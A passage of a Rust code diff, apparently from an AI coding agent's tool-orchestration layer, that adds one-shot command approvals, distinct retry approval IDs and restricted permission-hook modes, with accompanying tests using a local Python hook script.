},
|
||||
),
|
||||
)
|
||||
.await
|
||||
.map_err(collab_spawn_error)?;
|
||||
|
||||
@@ -6,7 +6,6 @@ use tokio_util::sync::CancellationToken;
|
||||
|
||||
use crate::exec::ExecParams;
|
||||
use crate::exec_policy::ExecApprovalRequest;
|
||||
use crate::exec_policy::ExecPolicyInputSource;
|
||||
use crate::function_tool::FunctionCallError;
|
||||
use crate::session::turn_context::TurnContext;
|
||||
use crate::session::turn_context::TurnEnvironment;
|
||||
@@ -180,7 +179,6 @@ async fn run_exec_like(args: RunExecLikeArgs) -> Result<FunctionToolOutput, Func
|
||||
effective_additional_permissions.sandbox_permissions
|
||||
},
|
||||
prefix_rule,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::exec_policy::ExecPolicyInputSource;
|
||||
use crate::exec_policy::shell_executable_is_path_qualified;
|
||||
use crate::function_tool::FunctionCallError;
|
||||
use crate::maybe_emit_implicit_skill_invocation;
|
||||
use crate::tools::context::ExecCommandToolOutput;
|
||||
@@ -191,13 +189,6 @@ impl ExecCommandHandler {
|
||||
parse_arguments(&arguments)?
|
||||
}
|
||||
};
|
||||
let input_source = match args.shell.as_deref() {
|
||||
None => ExecPolicyInputSource::Configured,
|
||||
Some(shell) if !shell_executable_is_path_qualified(shell) => {
|
||||
ExecPolicyInputSource::ModelSelectedBare
|
||||
}
|
||||
Some(_) => ExecPolicyInputSource::ModelSelectedPath,
|
||||
};
|
||||
let hook_command = args.cmd.clone();
|
||||
// TODO(anp) wire PathUri through implicit skills instead of skipping on foreign paths
|
||||
if let Some(native_cwd) = native_cwd.as_ref() {
|
||||
@@ -370,7 +361,6 @@ impl ExecCommandHandler {
|
||||
.permissions_preapproved,
|
||||
justification,
|
||||
prefix_rule,
|
||||
input_source,
|
||||
},
|
||||
&context,
|
||||
)
|
||||
|
||||
@@ -25,6 +25,7 @@ use codex_protocol::models::PermissionProfile;
|
||||
use codex_protocol::protocol::AskForApproval;
|
||||
use codex_protocol::protocol::Event;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::ReviewDecision;
|
||||
use codex_protocol::protocol::WarningEvent;
|
||||
use indexmap::IndexMap;
|
||||
@@ -608,6 +609,7 @@ impl NetworkApprovalService {
|
||||
turn_context.as_ref(),
|
||||
guardian_approval_id,
|
||||
/*approval_id*/ None,
|
||||
Some(ExecApprovalPurpose::Initial),
|
||||
Some(environment_id),
|
||||
prompt_command,
|
||||
cwd,
|
||||
|
||||
@@ -3,8 +3,8 @@ Module: orchestrator
|
||||
|
||||
Central place for approvals + sandbox selection + retry semantics. Drives a
|
||||
simple sequence for any ToolRuntime: approval → select sandbox → attempt →
|
||||
retry with an escalated sandbox strategy on denial (no re‑approval thanks to
|
||||
caching).
|
||||
retry with an escalated sandbox strategy on denial. Cacheable approvals can
|
||||
cover that retry; explicitly one-shot approvals cannot.
|
||||
*/
|
||||
use crate::guardian::guardian_rejection_message;
|
||||
use crate::guardian::guardian_timeout_message;
|
||||
@@ -35,12 +35,14 @@ use codex_protocol::error::CodexErr;
|
||||
use codex_protocol::error::SandboxErr;
|
||||
use codex_protocol::exec_output::ExecToolCallOutput;
|
||||
use codex_protocol::protocol::AskForApproval;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::NetworkPolicyRuleAction;
|
||||
use codex_protocol::protocol::ReviewDecision;
|
||||
use codex_sandboxing::SandboxManager;
|
||||
use codex_sandboxing::SandboxType;
|
||||
use codex_utils_path_uri::PathUri;
|
||||
use std::time::Instant;
|
||||
use uuid::Uuid;
|
||||
|
||||
pub(crate) struct ToolOrchestrator {
|
||||
sandbox: SandboxManager,
|
||||
@@ -51,6 +53,13 @@ pub(crate) struct OrchestratorRunResult<Out> {
|
||||
pub deferred_network_approval: Option<DeferredNetworkApproval>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
|
||||
enum PermissionRequestHookMode {
|
||||
Skip,
|
||||
DenyOnly,
|
||||
AllowAndDeny,
|
||||
}
|
||||
|
||||
impl ToolOrchestrator {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
@@ -164,6 +173,8 @@ impl ToolOrchestrator {
|
||||
session: &tool_ctx.session,
|
||||
turn: &tool_ctx.turn,
|
||||
call_id: &tool_ctx.call_id,
|
||||
approval_id: None,
|
||||
approval_purpose: ExecApprovalPurpose::Initial,
|
||||
guardian_review_id: guardian_review_id.clone(),
|
||||
retry_reason: None,
|
||||
network_approval_context: None,
|
||||
@@ -174,7 +185,7 @@ impl ToolOrchestrator {
|
||||
tool_ctx.call_id.as_str(),
|
||||
approval_ctx,
|
||||
tool_ctx,
|
||||
/*evaluate_permission_request_hooks*/ false,
|
||||
PermissionRequestHookMode::Skip,
|
||||
&otel,
|
||||
)
|
||||
.await?;
|
||||
@@ -193,12 +204,18 @@ impl ToolOrchestrator {
|
||||
ExecApprovalRequirement::Forbidden { reason } => {
|
||||
return Err(ToolError::Rejected(reason.clone()));
|
||||
}
|
||||
ExecApprovalRequirement::NeedsApproval { reason, .. } => {
|
||||
ExecApprovalRequirement::NeedsApproval { reason, .. }
|
||||
| ExecApprovalRequirement::NeedsOneShotApproval { reason } => {
|
||||
let guardian_review_id = use_guardian.then(new_guardian_review_id);
|
||||
let approval_id = requirement
|
||||
.is_one_shot()
|
||||
.then(|| Uuid::new_v4().to_string());
|
||||
let approval_ctx = ApprovalCtx {
|
||||
session: &tool_ctx.session,
|
||||
turn: &tool_ctx.turn,
|
||||
call_id: &tool_ctx.call_id,
|
||||
approval_id,
|
||||
approval_purpose: ExecApprovalPurpose::Initial,
|
||||
guardian_review_id: guardian_review_id.clone(),
|
||||
retry_reason: reason.clone(),
|
||||
network_approval_context: None,
|
||||
@@ -209,7 +226,7 @@ impl ToolOrchestrator {
|
||||
tool_ctx.call_id.as_str(),
|
||||
approval_ctx,
|
||||
tool_ctx,
|
||||
/*evaluate_permission_request_hooks*/ !strict_auto_review,
|
||||
permission_request_hook_mode(strict_auto_review, &requirement),
|
||||
&otel,
|
||||
)
|
||||
.await?;
|
||||
@@ -386,15 +403,25 @@ impl ToolOrchestrator {
|
||||
|
||||
// Strict auto-review approval covers the sandboxed attempt only;
|
||||
// retrying without the sandbox requires a fresh guardian review.
|
||||
let bypass_retry_approval = !strict_auto_review
|
||||
&& tool.should_bypass_approval(approval_policy, already_approved)
|
||||
&& network_approval_context.is_none();
|
||||
let bypass_retry_approval = can_bypass_retry_approval(
|
||||
strict_auto_review,
|
||||
&requirement,
|
||||
tool.should_bypass_approval(approval_policy, already_approved),
|
||||
network_approval_context.is_some(),
|
||||
);
|
||||
if !bypass_retry_approval {
|
||||
// A tool item can produce both an initial approval and a
|
||||
// later retry approval. Give the retry its own unguessable
|
||||
// waiter ID so a duplicated/replayed response for the
|
||||
// initial prompt cannot resolve the new waiter.
|
||||
let retry_approval_id = Uuid::new_v4().to_string();
|
||||
let guardian_review_id = use_guardian.then(new_guardian_review_id);
|
||||
let approval_ctx = ApprovalCtx {
|
||||
session: &tool_ctx.session,
|
||||
turn: &tool_ctx.turn,
|
||||
call_id: &tool_ctx.call_id,
|
||||
approval_id: Some(retry_approval_id),
|
||||
approval_purpose: ExecApprovalPurpose::SandboxRetry,
|
||||
guardian_review_id: guardian_review_id.clone(),
|
||||
retry_reason: Some(retry_reason),
|
||||
network_approval_context: network_approval_context.clone(),
|
||||
@@ -407,7 +434,14 @@ impl ToolOrchestrator {
|
||||
&permission_request_run_id,
|
||||
approval_ctx,
|
||||
tool_ctx,
|
||||
/*evaluate_permission_request_hooks*/ !strict_auto_review,
|
||||
if strict_auto_review {
|
||||
PermissionRequestHookMode::Skip
|
||||
} else {
|
||||
// A retry asks for new phase-specific authority.
|
||||
// Hooks may deny it, but a command-only Allow must
|
||||
// still fall through to the callback.
|
||||
PermissionRequestHookMode::DenyOnly
|
||||
},
|
||||
&otel,
|
||||
)
|
||||
.await?;
|
||||
@@ -516,13 +550,13 @@ impl ToolOrchestrator {
|
||||
permission_request_run_id: &str,
|
||||
approval_ctx: ApprovalCtx<'_>,
|
||||
tool_ctx: &ToolCtx,
|
||||
evaluate_permission_request_hooks: bool,
|
||||
permission_request_hook_mode: PermissionRequestHookMode,
|
||||
otel: &codex_otel::SessionTelemetry,
|
||||
) -> Result<ReviewDecision, ToolError>
|
||||
where
|
||||
T: ToolRuntime<Rq, Out>,
|
||||
{
|
||||
if evaluate_permission_request_hooks
|
||||
if permission_request_hook_mode != PermissionRequestHookMode::Skip
|
||||
&& let Some(permission_request) = tool.permission_request_payload(req)
|
||||
{
|
||||
let tool_name = flat_tool_name(&tool_ctx.tool_name);
|
||||
@@ -534,7 +568,9 @@ impl ToolOrchestrator {
|
||||
)
|
||||
.await
|
||||
{
|
||||
Some(PermissionRequestDecision::Allow) => {
|
||||
Some(PermissionRequestDecision::Allow)
|
||||
if permission_request_hook_mode == PermissionRequestHookMode::AllowAndDeny =>
|
||||
{
|
||||
let decision = ReviewDecision::Approved;
|
||||
otel.tool_decision(
|
||||
tool_name.as_ref(),
|
||||
@@ -554,7 +590,7 @@ impl ToolOrchestrator {
|
||||
);
|
||||
return Err(ToolError::Rejected(message));
|
||||
}
|
||||
None => {}
|
||||
Some(PermissionRequestDecision::Allow) | None => {}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -604,6 +640,31 @@ impl ToolOrchestrator {
|
||||
}
|
||||
}
|
||||
|
||||
fn can_bypass_retry_approval(
|
||||
strict_auto_review: bool,
|
||||
requirement: &ExecApprovalRequirement,
|
||||
policy_bypasses_approval: bool,
|
||||
has_network_approval_context: bool,
|
||||
) -> bool {
|
||||
!strict_auto_review
|
||||
&& !requirement.is_one_shot()
|
||||
&& policy_bypasses_approval
|
||||
&& !has_network_approval_context
|
||||
}
|
||||
|
||||
fn permission_request_hook_mode(
|
||||
strict_auto_review: bool,
|
||||
requirement: &ExecApprovalRequirement,
|
||||
) -> PermissionRequestHookMode {
|
||||
if strict_auto_review {
|
||||
PermissionRequestHookMode::Skip
|
||||
} else if requirement.is_one_shot() {
|
||||
PermissionRequestHookMode::DenyOnly
|
||||
} else {
|
||||
PermissionRequestHookMode::AllowAndDeny
|
||||
}
|
||||
}
|
||||
|
||||
fn sandbox_outcome_from_tool_error(err: &ToolError) -> Option<&'static str> {
|
||||
match err {
|
||||
ToolError::Codex(CodexErr::Sandbox(SandboxErr::Denied { .. })) => Some("denied"),
|
||||
@@ -618,3 +679,7 @@ fn build_denial_reason_from_output(_output: &ExecToolCallOutput) -> String {
|
||||
// output so we can evolve heuristics later without touching call sites.
|
||||
"command failed; retry without sandbox?".to_string()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "orchestrator_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,451 @@
|
||||
use super::*;
|
||||
use crate::state::ActiveTurn;
|
||||
use crate::tools::sandboxing::Approvable;
|
||||
use crate::tools::sandboxing::PermissionRequestPayload;
|
||||
use crate::tools::sandboxing::Sandboxable;
|
||||
use codex_hooks::Hooks;
|
||||
use codex_hooks::HooksConfig;
|
||||
use codex_protocol::exec_output::ExecToolCallOutput;
|
||||
use codex_protocol::exec_output::StreamOutput;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_sandboxing::SandboxablePreference;
|
||||
use futures::future::BoxFuture;
|
||||
use pretty_assertions::assert_eq;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
|
||||
#[derive(Default)]
|
||||
struct OneShotProbe {
|
||||
attempts: usize,
|
||||
cacheable: bool,
|
||||
}
|
||||
|
||||
impl Approvable<()> for OneShotProbe {
|
||||
type ApprovalKey = String;
|
||||
|
||||
fn approval_keys(&self, _req: &()) -> Vec<Self::ApprovalKey> {
|
||||
if self.cacheable {
|
||||
vec!["probe".to_string()]
|
||||
} else {
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
|
||||
fn should_bypass_approval(&self, _policy: AskForApproval, _already_approved: bool) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
fn exec_approval_requirement(&self, _req: &()) -> Option<ExecApprovalRequirement> {
|
||||
Some(if self.cacheable {
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: Some("cacheable command".to_string()),
|
||||
proposed_execpolicy_amendment: None,
|
||||
}
|
||||
} else {
|
||||
ExecApprovalRequirement::NeedsOneShotApproval {
|
||||
reason: Some("one run only".to_string()),
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
fn permission_request_payload(&self, _req: &()) -> Option<PermissionRequestPayload> {
|
||||
Some(PermissionRequestPayload::bash(
|
||||
"probe".to_string(),
|
||||
Some("one-shot probe".to_string()),
|
||||
))
|
||||
}
|
||||
|
||||
fn start_approval_async<'a>(
|
||||
&'a mut self,
|
||||
_req: &'a (),
|
||||
ctx: ApprovalCtx<'a>,
|
||||
) -> BoxFuture<'a, ReviewDecision> {
|
||||
Box::pin(async move {
|
||||
let cwd = ctx
|
||||
.turn
|
||||
.environments
|
||||
.primary()
|
||||
.expect("primary environment")
|
||||
.cwd()
|
||||
.to_abs_path()
|
||||
.expect("local environment cwd");
|
||||
ctx.session
|
||||
.request_command_approval(
|
||||
ctx.turn,
|
||||
ctx.call_id.to_string(),
|
||||
ctx.approval_id,
|
||||
Some(ctx.approval_purpose),
|
||||
/*environment_id*/ None,
|
||||
vec!["probe".to_string()],
|
||||
cwd,
|
||||
ctx.retry_reason,
|
||||
ctx.network_approval_context,
|
||||
/*proposed_execpolicy_amendment*/ None,
|
||||
/*additional_permissions*/ None,
|
||||
Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]),
|
||||
)
|
||||
.await
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fn install_sequenced_permission_hook(
|
||||
session: &Arc<crate::session::session::Session>,
|
||||
turn: &Arc<crate::session::turn_context::TurnContext>,
|
||||
modes: &[&str],
|
||||
) -> std::path::PathBuf {
|
||||
let home = &turn.config.codex_home;
|
||||
std::fs::create_dir_all(home).expect("recreate codex home");
|
||||
let script_path = home.join("permission_request_hook.py");
|
||||
let log_path = home.join("permission_request_hook_log.jsonl");
|
||||
std::fs::write(
|
||||
&script_path,
|
||||
format!(
|
||||
r#"import json
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
log_path = Path(r"{log_path}")
|
||||
modes = {modes}
|
||||
payload = json.load(sys.stdin)
|
||||
seen = [] if not log_path.exists() else log_path.read_text(encoding="utf-8").splitlines()
|
||||
with log_path.open("a", encoding="utf-8") as handle:
|
||||
handle.write(json.dumps(payload) + "\n")
|
||||
mode = modes[min(len(seen), len(modes) - 1)]
|
||||
decision = {{"behavior": "allow"}} if mode == "allow" else {{"behavior": "deny", "message": "blocked by test hook"}}
|
||||
print(json.dumps({{"hookSpecificOutput": {{"hookEventName": "PermissionRequest", "decision": decision}}}}))
|
||||
"#,
|
||||
log_path = log_path.display(),
|
||||
modes = serde_json::to_string(modes).expect("serialize hook modes"),
|
||||
),
|
||||
)
|
||||
.expect("write permission hook");
|
||||
std::fs::write(
|
||||
home.join("hooks.json"),
|
||||
serde_json::json!({
|
||||
"hooks": {
|
||||
"PermissionRequest": [{
|
||||
"matcher": "^Bash$",
|
||||
"hooks": [{
|
||||
"type": "command",
|
||||
"command": format!(
|
||||
"{} \"{}\"",
|
||||
if cfg!(windows) { "python" } else { "python3" },
|
||||
script_path.display(),
|
||||
),
|
||||
}],
|
||||
}],
|
||||
},
|
||||
})
|
||||
.to_string(),
|
||||
)
|
||||
.expect("write hooks config");
|
||||
|
||||
let mut shell_argv = session
|
||||
.user_shell()
|
||||
.derive_exec_args("", /*use_login_shell*/ false);
|
||||
let shell_program = shell_argv.remove(0);
|
||||
let _ = shell_argv.pop();
|
||||
session
|
||||
.services
|
||||
.hooks
|
||||
.store(Arc::new(Hooks::new(HooksConfig {
|
||||
feature_enabled: true,
|
||||
bypass_hook_trust: true,
|
||||
config_layer_stack: Some(turn.config.config_layer_stack.clone()),
|
||||
shell_program: Some(shell_program),
|
||||
shell_args: shell_argv,
|
||||
..HooksConfig::default()
|
||||
})));
|
||||
log_path.into_path_buf()
|
||||
}
|
||||
|
||||
async fn next_exec_approval(
|
||||
events: &async_channel::Receiver<codex_protocol::protocol::Event>,
|
||||
) -> codex_protocol::protocol::ExecApprovalRequestEvent {
|
||||
loop {
|
||||
let event = events.recv().await.expect("approval event");
|
||||
if let EventMsg::ExecApprovalRequest(approval) = event.msg {
|
||||
return approval;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Sandboxable for OneShotProbe {
|
||||
fn sandbox_preference(&self) -> SandboxablePreference {
|
||||
SandboxablePreference::Auto
|
||||
}
|
||||
}
|
||||
|
||||
impl ToolRuntime<(), ()> for OneShotProbe {
|
||||
async fn run(
|
||||
&mut self,
|
||||
_req: &(),
|
||||
_attempt: &SandboxAttempt<'_>,
|
||||
_ctx: &ToolCtx,
|
||||
) -> Result<(), ToolError> {
|
||||
self.attempts += 1;
|
||||
if self.attempts == 1 {
|
||||
let output = ExecToolCallOutput {
|
||||
exit_code: 1,
|
||||
stdout: StreamOutput::new(String::new()),
|
||||
stderr: StreamOutput::new("sandbox denied".to_string()),
|
||||
aggregated_output: StreamOutput::new("sandbox denied".to_string()),
|
||||
duration: Duration::from_millis(1),
|
||||
timed_out: false,
|
||||
};
|
||||
Err(ToolError::Codex(CodexErr::Sandbox(SandboxErr::Denied {
|
||||
output: Box::new(output),
|
||||
network_policy_decision: None,
|
||||
})))
|
||||
} else {
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn one_shot_retry_uses_distinct_waiter_and_ignores_stale_initial_responses() {
|
||||
let (session, turn, events) = crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let call_id = "one-shot-probe".to_string();
|
||||
let tool_ctx = ToolCtx {
|
||||
session: Arc::clone(&session),
|
||||
turn: Arc::clone(&turn),
|
||||
call_id: call_id.clone(),
|
||||
tool_name: codex_tools::ToolName::plain("probe"),
|
||||
};
|
||||
let mut run = tokio::spawn(async move {
|
||||
let mut probe = OneShotProbe::default();
|
||||
let result = ToolOrchestrator::new()
|
||||
.run(
|
||||
&mut probe,
|
||||
&(),
|
||||
&tool_ctx,
|
||||
turn.as_ref(),
|
||||
AskForApproval::UnlessTrusted,
|
||||
)
|
||||
.await;
|
||||
(result, probe.attempts)
|
||||
});
|
||||
|
||||
let initial = events.recv().await.expect("initial approval event");
|
||||
let EventMsg::ExecApprovalRequest(initial) = initial.msg else {
|
||||
panic!("expected initial exec approval");
|
||||
};
|
||||
assert_eq!(initial.call_id, call_id);
|
||||
assert_eq!(initial.approval_purpose, Some(ExecApprovalPurpose::Initial));
|
||||
let initial_id = initial.approval_id.clone().expect("initial callback ID");
|
||||
assert_ne!(initial_id, call_id);
|
||||
Uuid::parse_str(&initial_id).expect("initial callback ID should be a UUID");
|
||||
assert_eq!(
|
||||
initial.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(&initial_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
|
||||
let retry = events.recv().await.expect("retry approval event");
|
||||
let EventMsg::ExecApprovalRequest(retry) = retry.msg else {
|
||||
panic!("expected retry exec approval");
|
||||
};
|
||||
assert_eq!(retry.call_id, call_id);
|
||||
assert_eq!(
|
||||
retry.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
let retry_id = retry.approval_id.expect("retry callback ID");
|
||||
assert_ne!(retry_id, call_id);
|
||||
assert_ne!(retry_id, initial_id);
|
||||
Uuid::parse_str(&retry_id).expect("retry callback ID should be a UUID");
|
||||
|
||||
for stale_id in [&call_id, &initial_id] {
|
||||
for stale_decision in [ReviewDecision::Approved, ReviewDecision::Abort] {
|
||||
session.notify_exec_approval(stale_id, stale_decision).await;
|
||||
}
|
||||
}
|
||||
assert!(
|
||||
timeout(Duration::from_millis(50), &mut run).await.is_err(),
|
||||
"stale initial responses must not resolve the retry waiter"
|
||||
);
|
||||
|
||||
session
|
||||
.notify_exec_approval(&retry_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
let (result, attempts) = timeout(Duration::from_secs(1), &mut run)
|
||||
.await
|
||||
.expect("orchestrator timed out")
|
||||
.expect("orchestrator task failed");
|
||||
result.expect("approved retry should succeed");
|
||||
assert_eq!(attempts, 2);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn one_shot_hooks_allow_falls_through_and_deny_blocks_each_phase() {
|
||||
for (modes, expected_approvals, expected_attempts, should_succeed) in [
|
||||
(&["allow", "allow"][..], 2, 2, true),
|
||||
(&["deny"][..], 0, 0, false),
|
||||
(&["allow", "deny"][..], 1, 1, false),
|
||||
] {
|
||||
let (session, turn, events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let log_path = install_sequenced_permission_hook(&session, &turn, modes);
|
||||
let tool_ctx = ToolCtx {
|
||||
session: Arc::clone(&session),
|
||||
turn: Arc::clone(&turn),
|
||||
call_id: format!("hook-probe-{}", modes.join("-")),
|
||||
tool_name: codex_tools::ToolName::plain("probe"),
|
||||
};
|
||||
let run = tokio::spawn(async move {
|
||||
let mut probe = OneShotProbe::default();
|
||||
let result = ToolOrchestrator::new()
|
||||
.run(
|
||||
&mut probe,
|
||||
&(),
|
||||
&tool_ctx,
|
||||
turn.as_ref(),
|
||||
AskForApproval::UnlessTrusted,
|
||||
)
|
||||
.await;
|
||||
(result, probe.attempts)
|
||||
});
|
||||
|
||||
for index in 0..expected_approvals {
|
||||
let approval = next_exec_approval(&events).await;
|
||||
assert_eq!(
|
||||
approval.approval_purpose,
|
||||
Some(if index == 0 {
|
||||
ExecApprovalPurpose::Initial
|
||||
} else {
|
||||
ExecApprovalPurpose::SandboxRetry
|
||||
})
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(&approval.effective_approval_id(), ReviewDecision::Approved)
|
||||
.await;
|
||||
}
|
||||
|
||||
let (result, attempts) = timeout(Duration::from_secs(5), run)
|
||||
.await
|
||||
.expect("hook scenario timed out")
|
||||
.expect("hook scenario task failed");
|
||||
assert_eq!(result.is_ok(), should_succeed, "hook modes: {modes:?}");
|
||||
assert_eq!(attempts, expected_attempts, "hook modes: {modes:?}");
|
||||
assert_eq!(
|
||||
std::fs::read_to_string(log_path)
|
||||
.expect("read permission hook log")
|
||||
.lines()
|
||||
.count(),
|
||||
modes.len(),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cacheable_retry_hooks_cannot_allow_new_retry_authority() {
|
||||
for (retry_mode, expected_approvals, expected_attempts, should_succeed) in
|
||||
[("allow", 1, 2, true), ("deny", 0, 1, false)]
|
||||
{
|
||||
let (session, turn, events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let modes = ["allow", retry_mode];
|
||||
let log_path = install_sequenced_permission_hook(&session, &turn, &modes);
|
||||
let tool_ctx = ToolCtx {
|
||||
session: Arc::clone(&session),
|
||||
turn: Arc::clone(&turn),
|
||||
call_id: format!("cacheable-hook-probe-{retry_mode}"),
|
||||
tool_name: codex_tools::ToolName::plain("probe"),
|
||||
};
|
||||
let run = tokio::spawn(async move {
|
||||
let mut probe = OneShotProbe {
|
||||
cacheable: true,
|
||||
..Default::default()
|
||||
};
|
||||
let result = ToolOrchestrator::new()
|
||||
.run(
|
||||
&mut probe,
|
||||
&(),
|
||||
&tool_ctx,
|
||||
turn.as_ref(),
|
||||
AskForApproval::UnlessTrusted,
|
||||
)
|
||||
.await;
|
||||
(result, probe.attempts)
|
||||
});
|
||||
|
||||
for _ in 0..expected_approvals {
|
||||
let approval = next_exec_approval(&events).await;
|
||||
assert_eq!(
|
||||
approval.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
assert!(approval.approval_id.is_some());
|
||||
assert_eq!(
|
||||
approval.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
session
|
||||
.notify_exec_approval(&approval.effective_approval_id(), ReviewDecision::Approved)
|
||||
.await;
|
||||
}
|
||||
|
||||
let (result, attempts) = timeout(Duration::from_secs(5), run)
|
||||
.await
|
||||
.expect("hook scenario timed out")
|
||||
.expect("hook scenario task failed");
|
||||
assert_eq!(result.is_ok(), should_succeed, "retry mode: {retry_mode}");
|
||||
assert_eq!(attempts, expected_attempts, "retry mode: {retry_mode}");
|
||||
assert_eq!(
|
||||
std::fs::read_to_string(log_path)
|
||||
.expect("read permission hook log")
|
||||
.lines()
|
||||
.count(),
|
||||
modes.len(),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_shot_never_bypasses_retry_approval() {
|
||||
let requirement = ExecApprovalRequirement::NeedsOneShotApproval {
|
||||
reason: Some("one run only".to_string()),
|
||||
};
|
||||
|
||||
assert!(!can_bypass_retry_approval(
|
||||
/*strict_auto_review*/ false,
|
||||
&requirement,
|
||||
/*policy_bypasses_approval*/ true,
|
||||
/*has_network_approval_context*/ false,
|
||||
));
|
||||
assert_eq!(
|
||||
permission_request_hook_mode(/*strict_auto_review*/ false, &requirement),
|
||||
PermissionRequestHookMode::DenyOnly,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cacheable_approval_keeps_session_retry_and_hook_behavior() {
|
||||
let requirement = ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
};
|
||||
|
||||
assert!(can_bypass_retry_approval(
|
||||
/*strict_auto_review*/ false,
|
||||
&requirement,
|
||||
/*policy_bypasses_approval*/ true,
|
||||
/*has_network_approval_context*/ false,
|
||||
));
|
||||
assert_eq!(
|
||||
permission_request_hook_mode(/*strict_auto_review*/ false, &requirement),
|
||||
PermissionRequestHookMode::AllowAndDeny,
|
||||
);
|
||||
assert_eq!(
|
||||
permission_request_hook_mode(/*strict_auto_review*/ true, &requirement),
|
||||
PermissionRequestHookMode::Skip,
|
||||
);
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
use std::sync::Arc;
|
||||
use std::sync::OnceLock;
|
||||
use std::sync::atomic::AtomicBool;
|
||||
use std::sync::atomic::Ordering;
|
||||
use std::time::Instant;
|
||||
@@ -9,6 +10,7 @@ use tokio_util::either::Either;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::AbortOnDropHandle;
|
||||
use tracing::Instrument;
|
||||
use tracing::info;
|
||||
use tracing::instrument;
|
||||
use tracing::trace_span;
|
||||
|
||||
@@ -27,6 +29,15 @@ use crate::tools::router::ToolRouter;
|
||||
use codex_protocol::error::CodexErr;
|
||||
use codex_protocol::models::ResponseInputItem;
|
||||
|
||||
struct ToolCallTimingGuard {
|
||||
started_at: Instant,
|
||||
execution_started_at: Arc<OnceLock<Instant>>,
|
||||
conversation_id: String,
|
||||
turn_id: String,
|
||||
call_id: String,
|
||||
tool_name: codex_tools::ToolName,
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub(crate) struct ToolCallRuntime {
|
||||
router: Arc<ToolRouter>,
|
||||
@@ -96,6 +107,11 @@ impl ToolCallRuntime {
|
||||
let invocation_cancellation_token = cancellation_token.clone();
|
||||
let wait_for_runtime_cancellation = self.router.tool_waits_for_runtime_cancellation(&call);
|
||||
let started = Instant::now();
|
||||
let tool_call_timing_guard =
|
||||
ToolCallTimingGuard::capture(started, &session.thread_id, &turn.sub_id, &call, &source);
|
||||
let execution_started_at = tool_call_timing_guard
|
||||
.as_ref()
|
||||
.map(|timing| Arc::clone(&timing.execution_started_at));
|
||||
let abort_session = Arc::clone(&session);
|
||||
let abort_source = source.clone();
|
||||
let abort_turn = Arc::clone(&turn);
|
||||
@@ -112,13 +128,18 @@ impl ToolCallRuntime {
|
||||
);
|
||||
let abort_dispatch_span = dispatch_span.clone();
|
||||
|
||||
let mut handle: AbortOnDropHandle<Result<AnyToolResult, FunctionCallError>> =
|
||||
let mut dispatch_handle: AbortOnDropHandle<Result<AnyToolResult, FunctionCallError>> =
|
||||
AbortOnDropHandle::new(tokio::spawn(async move {
|
||||
let _guard = if supports_parallel {
|
||||
Either::Left(lock.read().await)
|
||||
} else {
|
||||
Either::Right(lock.write().await)
|
||||
};
|
||||
// Admission through the parallel-execution gate marks the end
|
||||
// of dispatch waiting and the start of handler execution.
|
||||
if let Some(execution_started_at) = execution_started_at {
|
||||
let _ = execution_started_at.set(Instant::now());
|
||||
}
|
||||
|
||||
router
|
||||
.dispatch_tool_call_with_terminal_outcome(
|
||||
@@ -135,28 +156,29 @@ impl ToolCallRuntime {
|
||||
}));
|
||||
|
||||
async move {
|
||||
let _tool_call_timing_guard = tool_call_timing_guard;
|
||||
tokio::select! {
|
||||
res = &mut handle => res.map_err(Self::tool_task_join_error)?,
|
||||
res = &mut dispatch_handle => res.map_err(Self::tool_task_join_error)?,
|
||||
_ = cancellation_token.cancelled() => {
|
||||
if terminal_outcome_reached.load(Ordering::Acquire) || handle.is_finished() {
|
||||
